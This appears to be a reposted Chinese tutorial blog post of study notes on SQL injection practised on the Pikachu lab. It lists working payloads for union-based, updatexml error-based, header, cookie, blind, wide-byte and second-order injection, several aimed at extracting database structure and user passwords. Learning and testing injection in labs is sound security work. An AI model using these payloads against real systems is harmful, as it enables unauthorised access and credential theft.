OWASP之SQL注入

OWASP之SQL注入

原理:程序未对输入参数做限制,用户输入的数据可带入数据库查询
注入数据库与脚本、平台无关
前期准备
显示报错信息:控制面板 > Internet选项 > 高级 > 取消“显示友好http错误信息”
在这里插入图片描述
★注入的四种类型(PHP)
数字型: 1 or 1=1#
字符型: y’ or 1=1#
搜索型: y%’ or 1=1#
X X 型: y’) or 1=1#
★提交的三种方式(burpsuite)
get:地址栏
post:最下方
cookie:cookie值后 ;name=y’
★注入攻击的方式(pikachu)
union注入
常与order by 连用

SQLunion语句
> select id,email from member where username='kevin' union select username,pw from member where id=1;

首先使用order by确认主查询的字段数 xx%’ order by 3#
然后进行union 联合查询 x%’ union select database(),user(),version() #

information_schema
mysql5.0版本以上自带库

'库 >> a' union select database(),user(),version() #
'表 >> a' union select table_schema,table_name,1 from information_schema.tables where table_schema='pikachu'#
'字段>>a' union select 1,column_name,1 from information_schema.columns where table_name='users'#
'值 >> a' union select password,1,username from users#

基于函数报错注入(updatexml())
没有屏蔽报错信息,可在前端显示,一般用于insert、update、delete注入
updatexml()——函数是MYSQL对XML文档数据进行查询和修改的XPATH函数.
extractvalue()——函数也是MYSQL对XML文档数据进行查询的XPATH函数.
floor()——MYSQL中用来取整的函数

updatexml(XML_document, XPath_string, new_value)
XML_document是String格式,为XML文档对象的名称,文中为Doc 
XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。 
new_value,String格式,替换查找到的符合条件的数据
'版本>>a' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)#
'用户>>a' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)#
' 库 >>a' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)#
' 表 >>a' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu'limit 0,1)),0)#
'字段>>a' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0)#
' 值 >>a' and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#

insert、update、delete(burpsuite)
insert在注册界面,update在登录后修改界面,delete一般删除的是id

'语法>>a'or updatexml(1,concat(0x7e,(命令))) or'
删除id>> or updatexml(2,concat(0x7e,(命令)))

HTTP Header注入(burpsuite)
删除User-Agent:Mozilla/5.0之后的内容,在此后输payload

'语法>>User-Agent: Mozilla/5.0' or updatexml(1,concat(1,database (),1),1) or'

cookie注入(burpsuite)
放在前面的参数后

'and updatexml (1,concat(0x7e,database()),0)#

盲注(substr())
当执行SQL注入后,返回的结果在前段不显示,可能是被重定向了
盲注分为布尔型和时间型,它每次返回的结果只有一位,通常使用sqlmap等工具进行测试
substr(string,start,length)
string——(必需)规定要返回其中一部分的字符串
start——(必需)规定在字符串的何处开始
length——(可选)规定被返回字符串的长度。
布尔型-以库为例

库名长度:select length(datebase())>/</=?;
判断每一位字母:vince' and ascii(substr(database(),1,1))=112#

时间型-以库为例

判断字母:'' and if(substr(database(),1,1)='p',sleep(10),null)#

宽字节注入
当配置文件magic_quotes_gqc=ON时,一些特殊字符被转义后无法进行注入,需要构造特殊字符 ’

在 ' 前加 %df:'改为df%'  df%'=運'
%df%5c%27=縗’

二阶SQL注入
一般位于搜索和注册、修改的地方
在输入时输入的数据加 ’
例如:搜索 hot ’ hot

show databases;
use pikachu;
show tables;
select * from user where id=9;
desc user;查看user表结构

猜你喜欢

转载自blog.csdn.net/zzhokok/article/details/107518233
今日推荐